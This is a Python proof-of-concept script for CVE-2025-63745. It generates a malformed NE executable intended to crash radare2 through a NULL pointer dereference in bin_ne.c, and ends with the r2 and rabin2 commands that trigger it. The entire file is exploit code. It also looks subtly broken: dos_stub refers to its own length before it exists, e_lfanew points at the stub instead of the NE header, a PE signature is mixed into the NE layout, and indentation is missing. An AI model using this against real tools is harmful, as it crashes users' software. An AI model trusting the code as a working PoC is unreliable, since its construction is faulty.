#!/usr/bin/env python3
"""
CVE-2025-63745 PoC - radare2 NULL Pointer Dereference in bin_ne.c
This PoC generates a malformed NE (New Executable) format binary
that triggers NULL pointer dereference in radare2's info() function.
"""
import struct
def create_malformed_ne_binary():
"""Generate a malformed NE format binary to trigger the vulnerability"""
# DOS header ( MZ signature )
dos_header = bytearray(64)
dos_header[0:2] = b'MZ' # DOS signature
struct.pack_into('<H', dos_header, 60, 64) # e_lfanew at offset 60
# DOS stub
dos_stub = b'This program cannot be run in DOS mode.\r\r\n$' + b'\x00' * (64 - len(dos_stub))
# PE signature
pe_signature = b'PE\x00\x00'
# NE header (malformed)
ne_header = bytearray(64)
# NE signature
ne_header[0:2] = b'NE'
# Linker major/minor version
ne_header[2] = 0x06 # Major version
ne_header[3] = 0x00 # Minor version
# Entry table offset
struct.pack_into('<H', ne_header, 0x0C, 0x10)
# Entry table length
struct.pack_into('<H', ne_header, 0x0E, 0x00)
# File load CRC
struct.pack_into('<I', ne_header, 0x10, 0x00000000)
# Program flags
ne_header[0x14] = 0x02 # Requires i386
# Additional header flags
struct.pack_into('<H', ne_header, 0x15, 0x0000)
# Auto data segment
struct.pack_into('<H', ne_header, 0x1C, 0x0001)
# Initial heap/Stack sizes
struct.pack_into('<H', ne_header, 0x1E, 0x1000)
struct.pack_into('<H', ne_header, 0x20, 0x1000)
# Initial IP/CS values
struct.pack_into('<H', ne_header, 0x22, 0x0000)
struct.pack_into('<H', ne_header, 0x24, 0x0000)
# Initial SP/SS values
struct.pack_into('<H', ne_header, 0x26, 0x1000)
struct.pack_into('<H', ne_header, 0x28, 0x0000)
# Segment table offset/Count
struct.pack_into('<H', ne_header, 0x2A, 0x40) # Offset that may cause issues
struct.pack_into('<H', ne_header, 0x2C, 0xFFFF) # Malformed count
# Resource table offset/Count
struct.pack_into('<H', ne_header, 0x2E, 0x0000)
struct.pack_into('<H', ne_header, 0x30, 0x0000)
# Resident names table offset
struct.pack_into('<H', ne_header, 0x32, 0x0000)
# Module references table offset
struct.pack_into('<H', ne_header, 0x34, 0x0000)
# Imported names table offset
struct.pack_into('<H', ne_header, 0x36, 0x0000)
# Non-resident names table offset
struct.pack_into('<I', ne_header, 0x38, 0x00000000)
# Combine all parts
malformed_binary = dos_header + dos_stub + pe_signature + ne_header
return bytes(malformed_binary)
if __name__ == '__main__':
print('[+] Generating malformed NE binary for CVE-2025-63745')
poc_data = create_malformed_ne_binary()
output_file = 'CVE-2025-63745_poc.ne'
with open(output_file, 'wb') as f:
f.write(poc_data)
print(f'[+] PoC file created: {output_file}')
print('[+] To trigger the vulnerability, open this file with radare2:')
print(f' $ r2 {output_file}')
print('[+] Or use rabin2:')
print(f' $ rabin2 -I {output_file}')